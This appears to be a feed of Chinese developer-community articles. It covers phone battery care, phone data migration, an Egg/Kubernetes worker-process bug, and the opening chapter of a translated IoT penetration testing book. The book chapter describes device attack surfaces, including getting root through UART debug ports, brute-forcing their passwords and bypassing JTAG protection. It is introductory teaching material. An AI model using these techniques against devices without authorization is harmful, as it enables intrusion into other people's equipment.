        现在的手机电池都是锂聚合物电池,电池的寿命主要由锂聚合物的化学特性和制造工艺决定。在用户方面,影响手机电池寿命的主要因素是充电周期。锂电池以充电周期的方式进行工作,放电的电量达到电池容量的100%,就算是完成了一个周期,如图1-25所示。请注意,一个周期不一定是通过一次充放电完成的,假设你今天使用了75%的电量,然后晚上充满,第二天再使用25%的电量时才算完成一个充电周期。手机电池的容量,会随着每个充电周期的完成而减少。按照苹果公司给出的资料,苹果手机上的电池在完成500次充电周期后,可以保留80%的原始容量。按照每天一充计算的话,一年半左右电池的续航能力就会开始下降。
        image.png

        图1-25 手机电池的寿命由充电周期决定

        边玩手机边充电好不好
        手机电池只有一个进出口,要么充电、要么放电,不会同时充电和放电。如果充电时使用手机,电池管理芯片会把来自充电器的电流直接分配给手机使用,剩下的继续给电池充电,这种方式可以减小电流并且降低循环深度,对电池的寿命反而有利,如图1-26所示。当然,要是在高温环境下一边充电一边玩高耗电量的大型游戏,很容易造成手机过热,手机本身的热量再加上充电产生的热量就可能对电池造成损害,如图1-27所示。

        image.png


        图1-26 查看电池温度

        image.png


        图1-27 手机耗电排行

        高温和低温都影响电池寿命
        低温环境主要影响电池的容量,温度越低、电池耗电越快,只要离开低温环境,电池的化学活性重新提升,电池容量又会恢复,基本不会影响电池寿命。相对于低温来说,高温也会损失电池的容量,但是这种损失往往是永久的。一般来说,长期处于50℃以上的环境会对电池产生难以恢复的伤害。
        电池应该用光再充电
        正好相反,与深度充放电相比,频繁的浅度充放电更有助于延长电池的寿命。浅度充放电指的是电池没有用完就充电和电池没充满就停止充电,因为现在的手机不再使用镍镉电池,而锂聚合物电池没有记忆效应。如果每次把电量用得过低才充电,或者每次都把电量充到100%不利于电池的循环深度,自然会影响寿命。
        充电一整晚会损坏电池
        手机主板上的电池管理芯片可以控制电池过份充电,充满后就会停止充电,只有电量低于某个电压后才会再次充电。由于待机状态下电量下降很慢,所以即使充电一整晚,也不会频繁触发重新充电。
        快速充电会影响电池寿命
        快速充电的时间短、电流大,对电池的伤害也大。也不必过于担心,当快速充电将电量充到80%后,就会自动转换到速度较慢的涓流充电模式,如图1-28所示。
        image.png

        图1-28 快速充电对手机电池寿命的影响很小

        使用手机电池的注意事项
        要想发挥锂电池的效能,最好的方法就是经常使用,这样可以让电池的化学活性始终处于流动状态。由于锂电池会自动放电,长时间不使用的话,最好将电量充到50%左右,每隔一段时间进行一次充放电。

        1.6导入旧手机的数据

        大多数中老年朋友早就告别了功能机,就连智能手机都已经更新换代了好几次。换新手机自然高兴,但是在更换手机的过程中也会遇到一些小小的麻烦,首当其冲的就是怎么把旧手机中的通讯录、短信、照片等资料快速导入到新手机中。
        很多品牌的手机都提供了一键换机功能。这里以小米手机为例,确认新手机连接WiFi后点击桌面上的【设置】图标,然后点击【更多设置】→【一键换机】,如图1-29所示。
        image.png

        图1-29 找到一键换机

        继续点击【我是新手机】,然后在弹出的菜单中点击【从安卓设备导入】生成二维码,如图1-30所示。在旧手机上进行同样的操作,点击【我是旧手机】并输入锁屏密码后扫描新手机上的二维码,如图1-31所示。
        在旧手机上选择导入新手机的数据(见图1-32),点击﹥按钮还会列出更详细的数据分类。选择完毕后点击【发送】就可以传输数据了。

        image.png


        图1-30 新手机点击


        image.png


        图1-31 旧手机点击


        image.png

        图1-32 选择要传输的数据

        如果新旧手机的品牌不同,可以在两部手机上都安装一款叫作【安全换机】的应用,如图1-33所示。安全换机的操作方法和一键换机相同,分别在新旧手机上点击【这是新手机】和【这是旧手机】后扫描新手机上的二维码建立连接,接下来选择要传输的数据,最后点击【发送】按钮。
        image.png

        图1-33 用安全换机传输数据

        1.7旧手机的处理与利用

        买了新手机后,旧手机打算如何处理呢?如果你想把旧手机转卖或者送人,千万别忘了把手机上的信息全部清除,以免泄露个人隐私和个人信息。如果你想留在家里备用,只要安装几个小应用,就可以让旧手机继续发挥余热。
        要想清除手机上的所有数据,常用的方法就是在手机设置中点击【更多设置】→【备份和重置】,然后点击【恢复出厂设置】→【恢复出厂设置】,如图1-34所示。

        image.png


        图1-34 恢复出厂设置

        网络上有种说法是,手机恢复出厂设置后仍然可以恢复以前的数据。从理论上这种说法是正确的,我们在手机上删除文件时,存储器中的数据并不会完全抹除,而是在删除的文件上做个标记,这个标记告诉手机这个位置是空的,可以存储新文件。如果这个位置没被新数据覆盖过,那么就有恢复的可能。但是,有可能不意味着一定能被恢复,即使恢复也要付出较高的成本。如果你不放心的话,恢复出厂设置后下载几个数据恢复应用尝试一下就知道是否清除干净了,如图1-35所示。没清除干净的话,你可以多下载几部电影将存储器填满,然后重新恢复出厂设置。

        image.png


        图1-35 数据恢复应用

        旧手机能做的事情也不少,比如我们可以安装一款叫作【心机表】的应用,让旧手机变成提醒和整点报时的闹钟,如图1-36所示。
        image.png

        图1-36 心机表

        我们还可以在旧手机上安装【掌上看家采集端】,将其作为家里的监控摄像头。在新手机上安装【掌上看家】后点击【添加采集设备】,然后扫描采集端上的二维码进行连接。连接成功后随时随地都可以用新手机查看家中的情况了,如图1-37所示。
        image.png

        图1-37 掌上看家

        除了监控以外,掌上看家还具有录像、通话和夜视等功能,如图1-38所示。
        image.png

        图1-38 远程监控功能

        掌上看家还具有防盗功能,出门之前我们可以点击【设置】→【报警设置】,然后开启【侦测报警】和【推送消息】,如图1-39所示。旧手机一旦监测到家里有人活动就会自动给新手机发送消息通知。
        image.png

        图1-39 侦测报警设置

        ]]>
        当egg遇见K8s会发生什么?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Egg介绍:
        Egg 奉行『约定优于配置』,按照一套统一的约定进行应用开发,团队内部采用这种方式可以减少开发人员的学习成本,开发人员不再是『钉子』,可以流动起来。没有约定的团队,沟通成本是非常高的,比如有人会按目录分栈而其他人按目录分功能,开发者认知不一致很容易犯错。但约定不等于扩展性差,相反 Egg 有很高的扩展性,可以按照团队的约定定制框架。使用 Loader可以让框架根据不同环境定义默认配置,还可以覆盖 Egg 的默认约定。

        K8s介绍:
        Kubernetes是Google开源的一个容器编排引擎,简称K8s,它支持自动化部署、大规模可伸缩、应用容器化管理。在生产环境中部署一个应用程序时,通常要部署该应用的多个实例以便对应用请求进行负载均衡。在K8s中,我们可以创建多个容器,每个容器里面运行一个应用实例,然后通过内置的负载均衡策略,实现对这一组应用实例的管理、发现、访问,而这些细节都不需要运维人员去进行复杂的手工配置和处理。

        目前公司某项目使用了egg框架,运维团队部署该项目使用了k8s集群,今天出现了一个奇怪的问题,我们的打包后的docker 镜像,在单独的ECS上可以正常该服务,但是部署到k8s的时候,启动失败,

        这个问题看似很诡异,一模一样的镜像,一模一样的网络权限,软件层面上完全一样的,为啥启动不成功。今天运维部门对k8s扩容过,添加过一个8核的work节点,难道是这个节点导致的,但是这个节点上也运行了很多容器,不单单只有该项目。

        带着这个思考,和同事沟通后,结果确实是添加的新的node节点间接导致了这个问题,了解到他用egg的时候,没有去定义work进程的数量,egg就会自动去创建work进程,创建的进程数据是基于获取的物理系统的CPU线程数来决定的。

        01.png

        如上图所示,该项目所运行的容器的宿主机的CPU线程数是8,通过观察,发现该项目会自动启动8个进程,如果我们采用32线程的CPU,那它就会在容器中启动32个进程,但是容器的资源是做过限制的,虽然你看到这么多CPU线程,但不是给你一个容器用的,一下子请求这么多资源,肯定会启动失败的。而且容器的思想是一个容器运行一个进程,只干一件事,这在物理机上部署egg或许这个特性比较方法,但是容器上部署就会出现这种坑。

        解决方法:

        让egg和pm2启动进程的方式一样,固定运行的进程数,不要动态获取CPU信息,去一厢情愿的启动进程,和docker的资源隔离起冲突。

        02.png

        总结:
        1.无论使用什么新框架新技术,使用前必须深入了解和研究;
        2.启动服务的时候,都不能用默认配置,研发和运维沟通后做一个合适的参数,因为本地环境和生产环境还是会有资源容量上的差异,避免各做各的;

        ]]>
        带你读《物联网渗透测试》之一:IoT渗透测试-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 网络空间安全技术丛书
        点击查看第二章
        点击查看第三章
        物联网渗透测试
        IoT Penetration Testing Cookbook

        image.png


        亚伦·古兹曼(Aaron Guzman)
        阿迪蒂亚·古普塔(Aditya Gupta)
        王 滨 戴 超 冷 门 张 鹿 译

        第1章

        IoT渗透测试
        虽然1999年美国麻省理工学院(MIT)的自动识别实验室(Auto-ID Labs)就首次提出了IoT(物联网)的概念,但嵌入式设备技术在数十年之前就已存在了。IoT设备同嵌入式设备之间的区别在于,在嵌入式设备的设计决策和配置过程中,从未将建立自身同公共互联网的连接考虑在内。正是由于众多制造业公司没有考虑到设备联网的后果,所以随着联网设备数量的不断增多,当前出现了针对IoT设备的大规模漏洞利用,并导致了多起创纪录的大规模分布式拒绝服务(Distributed Denial of Service,DDoS)攻击。本书中,我们将从多个方面介绍针对IoT设备的渗透测试,为测试人员提供具有可操作性的安全实践指导,并帮助用户在现实环境中实现对IoT设备的攻击防护。
        读者可以访问以下链接了解IoT的起源:http://autoid.mit.edu/iot_research_initiative
        要了解针对IoT设备的DDoS攻击详情,可以访问以下链接:https://www.us-cert.gov/ncas/alerts/TA16-288A
        本章将主要介绍以下主题:

        • 定义IoT生态系统与渗透测试生命周期。
        • 固件入门。
        • IoT中的Web应用。
        • IoT中的移动应用。
        • 硬件设备基础。
        • IoT无线通信简介。
        • IoT渗透测试环境的部署。

        1.1 简介

        本章主要关注开展IoT渗透测试所需的基础知识,向读者介绍IoT设备攻击面的基本概念,为帮助测试人员构建IoT渗透测试的实验环境奠定基础。
        我们首先讨论当前IoT渗透测试的现状,以及所有可能存在的攻击面,进而了解渗透测试的进展情况。之后我们将介绍固件安全、Web应用安全、移动应用安全、硬件安全和无线电通信方面的基础知识。
        最后,我们将向读者介绍如何对开展渗透测试所需的软硬件工具进行配置。

        1.2 定义IoT生态系统与渗透测试生命周期

        在过去的几年中,基于IoT设备不断上涨的数量、为业务提供的便利性、自身的易用性以及为信息安全带来的潜在风险等诸多因素,IoT设备赢得了广泛关注。由于IoT概念的火爆就出现在我们身边,所以即便是作为一个普通人也可以感受到这个技术奇点距离自己并不遥远。而对IoT和互联网越来越高的依赖度使得人们不由地对人身安全、隐私安全与信息安全产生了担忧。同时,IoT设备几乎已经用在所有行业领域,如消费、娱乐业、工商业、医疗业、工业、能源业以及制造业等领域。但是,过往案例已经证明了无论是消费者还是将IoT技术商用的厂商和开发者,都难以采取有效的方式来确保设备安全。如果指望设备厂商在制造设备时采用诸如安全设计之类的方法提供安全保障,又严重依赖于设备所面向的行业,那么需要厂商对行业业务具有深刻的理解,这对厂商显然提出了非常高的要求。
        各个行业也可能因垂直细分与所处区域而制订不同的测试规范。因此,为了确保不违反相关法律规定,在对IoT设备开展渗透测试之前需要了解有关的法律法规。在部分地区,我们以美国为例,只要研究是出于符合社会规范的善意目的,通过合法渠道获得被测设备,在受控环境下开展测试,并且也未违反2016年10月颁布的《计算机欺诈和滥用法案》(Computer Fraud and Abuse Act,CFAA),那么是允许安全人员对消费级设备开展安全研究的,并且不受《数字千年版权法》(Digital Millennium Copyright Act,DMCA)的追究。这也就意味着当前对网联汽车、摄像头、各种智能家居设备、视频游戏机和越狱移动设备的安全研究都是合法的。在经过与《数字千年版权法》和安全界的漫长协调之后,广大安全研究人员取得了一个巨大的胜利。
        在取得相关法律法规许可的情况下(这也是我们开展安全测试的依据所在),接下来将对设备固件、Web应用、移动应用、硬件和无线电通信开展安全评估。首先,我们需要了解IoT所涉及的所有领域,包括渗透测试方法和生命周期,进而识别出所有可能的攻击面。下面我们来了解一下IoT设备中各组件的基本原理,以便知晓其攻击原理。
        渗透测试方法
        无论是否出现攻击事件,对应用、网络和设备开展安全测试、查找其中隐藏的漏洞对于保障互联网安全都是至关重要的。无论是由厂商、第三方咨询公司、企业安全团队,还是由普通的安全人员来实施测试,测试方法的选择都取决于能够提供给测试人员的信息。理想情况下,一次全面的测试应该包括整个IoT系统及其基础设施,而不仅仅是IoT设备本身,但考虑到成本与技术能力,现实中的通常只针对IoT系统中的某个子集开展测试。
        1.黑盒测试
        由于黑盒测试成本相对较低,因此黑盒测试是最为常见的测试方法。黑盒测试是在不了解设备所采用的技术原理或实现方式的情况下进行的测试。通常情况下,安全研究人员或第三方咨询公司都会采用黑盒测试方法,但有时内部安全团队也会采用该方法进行风险评估。
        漏洞公开注意事项
        如果在安全研究过程中挖掘出了漏洞,那么披露漏洞时需要遵循厂商要求的漏洞公开流程。如果厂商未制订漏洞公开流程,那么计算机安全应急响应中心(CERT)可以协助安全研究人员以适当的方式提交漏洞。关于CERT的漏洞公开处理流程的详细内容可以参考链接http://www.cert.org/vulnerability-analysis/vul-disclosure.cfm 中的内容。
        2.白盒测试
        如果测试人员能够接触到源代码、网络拓扑图、架构图、数据流图以及其他目标设备所采用技术的详细信息,那么此时开展的测试即白盒测试。通常来说,预先能够向测试人员提供的目标设备或应用的信息越多,测试效果就会越好。白盒测试的成本相对较高,但能够确保对设备的安全控制措施及其实现情况进行更加全面、彻底的筛查。
        3.灰盒测试
        相对于被测机构内部人员而言,如果测试人员对被测系统的了解有限,仅能获取到被测系统的部分信息,那么此时所开展的测试即灰盒测试。在灰盒测试过程中,测试人员通常只知道所用到的应用程序栈和库文件,但是没有关于API的详细文档。
        读者可以访问以下链接了解更多开展安全研究过程中有关《数字千年版权法》(DCMA)的内容:https://www.ftc.gov/news-events/blogs/techftc/2016/10/dmca-secu-rity-research-exemption-consumer-devices

        1.3 固件入门

        固件是一种写入硬件设备的软件,作用是对应用和各项系统功能实施控制。固件中包含底层代码,这些代码能够帮助软件实现对硬件的操作。运行固件的设备称为嵌入式系统,嵌入式系统的硬件资源在存储能力以及内存等方面往往具有诸多限制。举例来说,智能手机、交通信号灯、网联汽车、某些类型的专用计算机、无人机和有线机顶盒都是运行固件的嵌入式设备。
        显然,从城市运行所依赖的关键基础设施,到人们生活中必不可少的银行ATM和智能家居,嵌入式技术及运行在嵌入式设备之上的固件控制着我们的日常生活。理解固件的二进制文件中都包含哪些内容以及与之关联的属性是非常重要的。固件通常由bootloader、内核、文件系统以及其他资源组成。根据嵌入式Linux、嵌入式Windows、Windows IoT内核以及各种实时操作系统(Real Time Operating System,RTOS)的区别,固件也有多种类型。本书主要针对基于嵌入式Linux的环境进行介绍,但是,本书中所涉及的原理对于其他平台也是同样适用的。
        读者可以从以下链接中了解更多关于固件的内容:https://wiki.debian.org/Firmware
        图1-1展示了固件的组成,即闪存、bootloader、内核和根文件系统。

        image.png

        1.3.1 固件深度分析

        首先让我们先了解一下bootloader。bootloader的作用主要包括RAM初始化(目的是存储易失性数据)、串口初始化、机器类型检测、内核参数链表(kernel tagged list)设置、 initramfs(基于RAM的初始文件系统)加载以及内核镜像调用等。bootloader通过板级支持包(Board Support Package,BSP)初始化硬件驱动,其中板级支持包通常由第三方厂商开发。可以将bootloader存储在单独的电可擦除可编程只读存储器(Electrically Erasable Programmable Read-Only Memory,EEPROM)中,但这种情况一般不太常见,更为常见的形式是直接将bootloader写入闪存存储器。从某种程度上说,我们可以将bootloader看作启动PC时的BIOS。深入分析bootloader的各项功能已经超出了本书所讨论的范畴,这里我们只对本书用到的bootloader特性进行介绍。ARM、MIPS架构中部分常见的bootloader包括:Redboot、u-boot以及barebox等。当bootloader启动内核之后,文件系统就完成了加载。
        固件可以采用的文件系统类型有很多,有时根据设备的区别也会采用某些专有文件类型。部分较为常见的文件系统类型包括SquashFS、cramFS、JFFS2、YAFFS2以及ext2等。其中设备(尤其是消费级电子设备)最常采用的文件系统是SquashFS。分析人员可以使用诸如unsquashfs或者改进后的unsquashfs等工具从SquashFS文件系统中提取数据。有部分厂商会对SquashFS文件系统进行改进,以确保能够对非标准的SquashFS文件系统压缩算法提供支持,比如说LZMA压缩算法(在SquashFS 4.0之前,官方支持的唯一压缩格式为.zlib),而此时就需要用到改进后的unsquashfs工具进行解压,同常规的标准SquashFS文件系统相比,非标准的SquashFS文件系统启动时的偏移量同之前会有所区别。在本书后面的内容中,我们将会对偏移的定位与识别进行专门的介绍。
        读者如果想了解有关嵌入式Linux文件系统的更多内容,可以访问以下链接:http://elinux.org/images/b/b1/Filesystems-for-embedded-linux.pdf
        Sasquatch是一套能够对非标准SquashFS文件系统进行解压、从中提取文件系统的工具,即可以从以下链接下载:https://github.com/devttys0/sasquatch
        与之类似,固件镜像也可以采用LZMA、.gzip、.zip、.zlip和.arj等多种文件压缩类型。每种文件类型在压缩后的文件尺寸、压缩时间、解压时间以及设备自身的业务需求等方面都各有擅长。从渗透测试的角度出发,我们可以把文件系统看作存储配置文件、服务、账户口令、散列值、应用程序代码以及启动脚本的地方。在下一章中,我们将介绍如何查找设备中的文件系统,以及如何确定其采用的压缩方式。

        1.3.2 固件的开发供应链

        文件系统中包含同设备强相关的代码,这些代码通常采用C、C++或者Lua之类的编程语言编写。与设备相关的代码,甚至是固件自身,都可以外包给第三方开发人员,即原始设计制造商(ODM),也可以由内部开发人员同原始设备制造商(OEM)协作开发。ODM是嵌入式设备开发供应链中的一个重要环节。在亚洲,有很多这样的小公司,并且开发成本也较为低廉。有些OEM信任自己产品线上的ODM,而有些OEM则会选择对单一产品报价最低的ODM。在某些行业中,ODM也可以称为供应商。需要特别注意的是,ODM是能够同多家不同的OEM开展合作的,甚至可以采用相同的代码库。读者可能已经知道这个情况,或者惊讶于为什么一个严重的软件漏洞公告就会影响到十余家设备厂商。究其原因就在于ODM自身并未建立安全开发生命周期流程,而OEM对此也疏于验证。一旦ODM完成了应用开发成果的交付,这个成果可能是OEM的一个SDK也可能是固件,OEM就会直接把交付的代码融入固件之中,实现起来可能就是简单地在Web界面添加OEM的一个logo。根据ODM和OEM代码融合方式的不同,实现过程也有所区别,其中一种较为常见的方式是,ODM向OEM直接提供二进制文件。OEM负责固件分发、固件管理以及对设备自身提供支持,其中也包括解决第三方研究人员提交的固件安全问题,如果ODM持有源代码,而OEM仅能拿到二进制文件,那么OEM难以有效缓解固件中的安全隐患,从而将面临巨大的压力。
        在第3章中,我们将通过了解如何识别文件系统、压缩方式,以及如何构建二进制文件的仿真测试环境来实现对固件二进制镜像的逆向分析,进而对固件中常见的漏洞开展利用。

        1.4 IoT中的Web应用

        网站,也称为Web应用,已经无须对其进行过多的介绍了。基本的Web应用程序通常最少由前端HTML页面、JavaScript脚本、1台后台Web服务器、1台应用程序服务器和1套数据库组成。随着Web应用的发展,为了降低后端架构或设备的计算载荷,Web应用程序开始更多地依赖JavaScript脚本等前端代码。但是运行在互联网中的Web应用同运行在嵌入式设备中的Web应用略有不同。
        读者所熟悉的Web应用组件之间存在更多的依赖关系,因为常见的Web应用会将Web服务器、应用服务器、数据库服务器以及后台运行的微服务进行分离。其中服务器的分离是出于性能和可用性等方面的考虑。而通常嵌入式Web应用被设计为在自包含的环境中运行。从更深层次上来说,也就是对嵌入式Web应用的性能和可用性方面关注较少。
        目前IoT领域中主要有两种不同的Web应用模型,分别是混合云模型与独立嵌入式服务器模型。混合云模型中包含了厂商或者供应商提供的基于软件即服务(Software as a Service,SaaS) 的Web应用,作用是同运行在嵌入式设备固件中的Web应用程序建立连接,然后,将数据从厂商的云服务器中同步到本地网络的嵌入式设备中。有些IoT设备则会直接使用IoT云服务提供商的SDK,例如AWS提供的IoT SDK和Azure提供的IoT SDK,并且将这些SDK编译进设备的Web应用程序栈中。为了确保符合机构的服务条款并且遵循所在区域的法律规范,混合云模型的识别非常重要。许多采用混合云模型的IoT公司经常以OEM的方式借助第三方软件开发公司或ODM来管理其Web应用。这些ODM的Web应用通常被贴牌为某款OEM产品,在没有设置通信流量代理的情况下,用户通常不会注意到这种情况。
        IoT设备的混合云模型如图1-2所示,其中IoT设备能够连接到互联网。该场景中,在厂商云平台与用户设备之间由设备接口提供Web服务,用户访问设备接口进行操作或者进行数据收集。

        image.png

        如前所述,嵌入式设备的Web应用在设备固件内部运行,以lighttpd或者nginx等程序作为嵌入式Web服务器,而不存在外部依赖。读者可能对这些独立嵌入式Web应用比较熟悉,在打印机、VoIP电话和家庭路由器中都可以找到这些应用。通常情况下,用户输入直接发送到设备固件,如果未对用户输入进行验证或过滤,攻击者则可以向设备发起攻击尝试执行任意命令。在某些情况下,出于防止外部攻击或者便于管理的目的,嵌入式Web应用设计为仅在局域网(Local Area Network,LAN)环境中运行。这也是家用IoT、工控设备和商用设备中的典型情况。通常将设备限定在局域网环境下是出于安全方面的考量,但从我们所了解的情况来看,这种方式难以有效地缓解攻击。这是因为,持有这种观点的设备厂商在现实中发现客户总是会有意无意地将设备连接到互联网上,从而给用户网络带来安全隐患。
        图1-3展示了用户通过Web浏览器连接独立嵌入式Web应用的过程,其中该应用不依赖于外部系统。

        image.png

        Web通信
        浏览器、嵌入式服务器和Web应用服务器之间的通信通常要么借助简单对象访问协议(Simple Object Access Protocol,SOAP)/XML等Web服务,要么借助基于HTTP/HTTPS符合REST规范的API来实现。SOAP请求中通常包含1个envelope元素、1个xmlns:soap命名空间、1个encodingStyle属性,此外还包括其他元素,例如SOAP中的body元素。读者可以通过访问链接https://www.w3schools.com/xml/xml_soap.asp了解更多关于SOAP协议的内容。
        下面展示了一个查询账户余额的HTTP SOAP请求示例:

        image.png

        REST风格的API用到了多个HTTP方法,而这些方法的使用并不符合传统Web应用的用法,例如传统Web应用采用PUT方法更新资源,采用DELETE方法删除资源,而采用REST风格的请求则是通过URL(对于敏感数据不推荐采用此方法进行处理),或者以JSON格式表示的HTTP协议报文等方式调用参数。
        在电子邮件分发列表中添加邮件地址test@example.com的REST请求示例如下:

        image.png
        image.png

        可以采用中间人代理来查看基于SOAP协议或符合REST风格的请求报文。常用的Web代理工具包括Burp Suite与OWASP ZAP,借助这些工具可以查看从浏览器和移动应用发送到Web应用后端的所有请求。我们将在第4章中详细介绍如何配置代理来查看应用流量。
        对于IoT设备而言,常常采用Web应用对其设备进行控制,因此,无论是从网络内部还是网络外部来看,Web应用都是发起攻击的常见途径。在第4章中,我们将会了解如何识别IoT设备中Web应用的缺陷与漏洞。

        1.5 IoT中的移动应用

        在IoT领域,移动应用模型同前面介绍的Web应用模型类似。虽然对移动设备平台的安全模型进行深入探讨超出了本书的范围,但是了解移动应用开发模型的基本概念将有助于后面的学习。

        1.5.1 混合应用

        安装在Android、iOS或Windows Phone设备中的移动应用可以是混合应用也可以是原生应用。虽然同Web应用相比,混合和原生在移动应用中具有不同的含义,但是其原理相似。混合应用既用到了HTML/HTML 5、CSS和JavaScript等Web技术,也用到了部分原生平台硬件,如GPS模块或蓝牙模块。只有使用混合框架提供的插件才能够访问硬件资源。可以将混合应用看作包含了Web应用的封装包,而原生平台可以使用该封装包。这意味着Web开发人员无须学习新的开发语言即可编写移动应用。
        混合应用在Windows Phone、Android和iOS等多个平台上可以使用同一个代码库,当考虑将IoT设备应用投放市场时这是一个巨大的优势。通过嵌入式Web浏览器WebView就可以调用Web应用。当前,市场中流行的应用有多种流行的混合框架可以选择,包括Apache Cordova、Adobe PhoneGap以及Xamarin等。
        每套移动混合框架都包含一个第三方市场,在其中提供可以实现各种功能的插件。为了实现快速开发,部分框架会采用一种编程语言(C#)编写,然后再翻译成另一种本地语言(Objective C或者Java),例如Xamarin就是如此。然而,从原生平台的高危远程代码执行到隐私泄露,这些移动框架存在着诸多安全隐患,这也并非什么秘密。如果读者在应用中恰好发现用到了某套移动混合框架,那么最好查阅一下相应的漏洞库,兴许就能够找到可以直接利用的漏洞。
        为了帮助读者更好地了解混合应用运行的架构,图1-4展示了应用代码、WebView、插件以及移动设备自身之间的各个组件。需要注意的是,大多数封装包的代码和插件都是由混合框架或参与混合框架开发的第三方开发人员开发的。

        image.png

        1.5.2 原生应用

        原生应用是为特定操作系统开发的,采用Java、Objective C、Swift等设备平台原生语言编写,其中对于Windows Phone平台而言则需要采用C#语言。原生应用使用各自平台的SDK实现同摄像头、蓝牙和GPS等硬件的交互。原生应用的性能和安全性取决于开发人员对原生平台语言的熟悉程度。如果平台API经常更新并且经常弃用某些类或方法,那么将会增加开发工作的难度。越来越多的平台,例如iOS和Android等平台,正在开发安全的原生API,这样开发人员就无须再利用第三方库即可直接使用安全API,进而提高通信和数据存储的安全性。
        同混合应用架构相比,原生应用架构简单得多。图1-5展示了原生应用在设备上直接运行原生代码访问硬件资源的过程,在应用访问硬件资源的过程中未借助第三方组件。

        image.png

        了解每种移动应用模型的优缺点对于高效地开展渗透测试而言非常重要。由于移动应用拥有设备的控制权,因此是针对设备实施攻击的另一个重要突破口,并且同其他方法比起来,有时通过移动应用突破IoT设备要更加容易一些。在第5章中,我们将分解IoT设备,对IoT移动应用中最常见的漏洞展开深入分析。

        1.6 硬件设备基础

        下面从印制电路板(Printed Circuit Board,PCB)开始,对IoT设备中所涉及的硬件进行介绍。PCB由玻璃纤维、铜箔、阻焊层、丝印层、布线层和基板组成,在其上焊接有电阻、电容、Wi-Fi芯片、EEPROM、串口和微控制器等元件。板上布有多层铜箔作为PCB的导电体,而绝缘层则不导电。在查看印制电路板外观时,准确识别出感兴趣的元件非常重要。这些元件主要包括设备固件直接或间接的输入源。其中,EEPROM芯片、NAND闪存芯片、UART(Universal Asynchronous Receiver/Transmitter)接口和JTAG(Joint Test Action Group)接口通常都是渗透测试过程中最为关注的元件。
        数字视频录像机(Digital Video Recorder,DVR)的PCB如图1-6所示。

        image.png

        硬件输入
        EEPROM是非易失性存储器,以单个字节为单位进行读写。EEPROM可以通过电荷或紫外线照射擦除数据。同其他闪存类似,EEPROM芯片的读写次数有限。我们关注EEPROM芯片的原因在于,固件一方面可以加载到EEPROM芯片中,另一方面也可以从PCB中擦除而读取到EEPROM读写器上,从而便于进一步的分析。图1-7是EEPROM的示意图。

        image.png

        NAND闪存以区块为单位读写,通常用在USB驱动器中,但也可以用在IoT设备和游戏机中。NAND闪存中通常存储着设备的bootloader,bootloader依据指令引导操作系统启动,此外用户还可以对bootloader进行操作,关于bootloader的内容我们将在后文详细介绍。
        UART接口是访问设备最为常见的方式。厂商在部署设备时可以使用UART接口进行设备诊断、日志记录等操作,还可以作为调试接口来验证配置,这使得UART接口成为固件中最常见的输入源之一。由于厂商主要使用UART接口进行设备调试,所以通常连接该接口后即可获得root权限。然而有些情况下,通过UART接口访问设备需要输入口令,这时可能需要分析人员额外花费时间进行暴力破解。UART接口芯片包含两条串行线,这两条串行线分别用于接收数据和传输数据(Rx/Tx)。UART收发数据均需要借助数据总线。数据以并行方式从数据总线传输至UART传输器。UART传输器从数据总线中取得并行数据(并行数据通常包含5~8位数据位,其中7位数据位和8位数据位较为常见,因为ASCII标准字符集采用7位编码,扩展字符集采用8位编码)后,添加起始位、校验位以及停止位创建数据帧。接下来,数据帧以串行方式在Tx引脚逐位传输。UART接收器则从Rx引脚逐位读取数据帧,继而将串行数据转换为并行数据,并删除起始位、校验位以及停止位。最后,UART接收器以并行方式将数据帧传输至接收端数据总线。由于是异步通信,因此UART接口工作时不需要外部时钟,发送端和接收端会按照固定的波特率来进行数据采样。PCB上UART接口的引脚定义中包括了Tx、Rx、Vcc(电压)和GND(接地)4个引脚。连接UART接口前需要使用万用表识别出Tx、Rx和GND引脚。有时,个别设备中UART接口的识别可能会比其他设备更加困难一些。有些厂商可能会直接移除PCB上UART接口的排针插座,对于这种情况,研究人员就需要将排针插座重新焊接到PCB上去。还有些厂商会选择覆盖掉UART接口排针插座的丝印,还会将另一块集成电路覆盖在接口的插座上,而对于这种情况解决起来就比较麻烦了。
        JTAG接口是遵循IEEE 1149.1标准的另一种国际标准测试协议,主要用于芯片级与系统级测试。类似于UART接口,厂商也可以采用JTAG接口作为调试的输入。JTAG接口能够提供口令保护,但是也可以通过BYPASS(旁路)模式进行访问。通过JTAG接口可以进行固件转储,方便后续对固件的分析,也可以用于固件升级。JTAG接口可以直接访问闪存或者RAM等板载硬件。JTAG接口包含TDI(数据输入)、TDO(数据输出)、TMS(测试模式选择)、TCK(测试时钟)和TRST(测试复位)等5个引脚。JTAG接口可以连接到芯片上的TAP(测试访问口),通过TAP访问芯片上的寄存器时可以改变寄存器状态。与UART接口类似,厂商也会隐藏JTAG接口的排针插座或者线路。
        通过拆解设备或者搜索https://fccid.io等第三方网站,可以观察IoT设备中的PCB构造并定位元件位置。美国联邦通信委员会(Federal Communications Commission,FCC)ID是FCC分配的产品ID,其作用是掌握市场上无线产品的具体数据。fccid.io网站真是棒极了!该网站提供了大量关于设备的详细信息。其中,FCC还会公布设备的设计文档、数据表、内部结构图片、外观图片、测试报告、各种手册、设备采用的无线频率等内容。在第6章中,我们将会对硬件攻击方法、硬件细节进行介绍。

        1.7 IoT无线通信简介

        同IoT设备建立连接并与其进行交互的最常见方式是采用无线射频(Radio Frequ-ency,RF)通信方式。目前市场上有许多不同的无线频率、调制模块和协议,其中既有专有无线协议,也有标准协议。因此打开设备外壳,用户往往能够发现其中包含了一个或多个用于无线通信的芯片。这对于需要接收多种不同无线通信协议和频率的IoT网关和IoT Hub来说尤为常见。无线技术与无线通信设备的一个优势在于能够实现设备的远程控制。当通过无线通信方法对设备开展漏洞利用时也正是利用了这一点。因此,了解每种无线技术所能达到的最远通信距离对实际测试而言非常重要。有的无线协议支持105英尺(约32米)远的距离,而有的可能只支持20厘米远,差别非常大。在IoT生态系统的众多无线协议中,最常用的协议主要包括Wi-Fi(802.11)、ZigBee(802.15.4)、Z-Wave、蓝牙(802.15.1)和低功耗蓝牙等。

        1.7.1 Wi-Fi

        多年以来,Wi-Fi一直是众多设备最常采用的无线技术,其通常使用2.4 GHz或5 GHz ISM频段。同时也提出了多套Wi-Fi协议标准,例如802.11a、802.11b、802.11g、802.11n和802.11ac等。其中802.11b和802.11g协议使用2.4 GHz频段,802.11a、802.11n和802.11ac协议使用5 GHz频段。2.4 GHz频段根据不同频率又分为14个无线子信道。在部分地区,Wi-Fi路由器还必须采用特定的广播信道。

        1.7.2 ZigBee

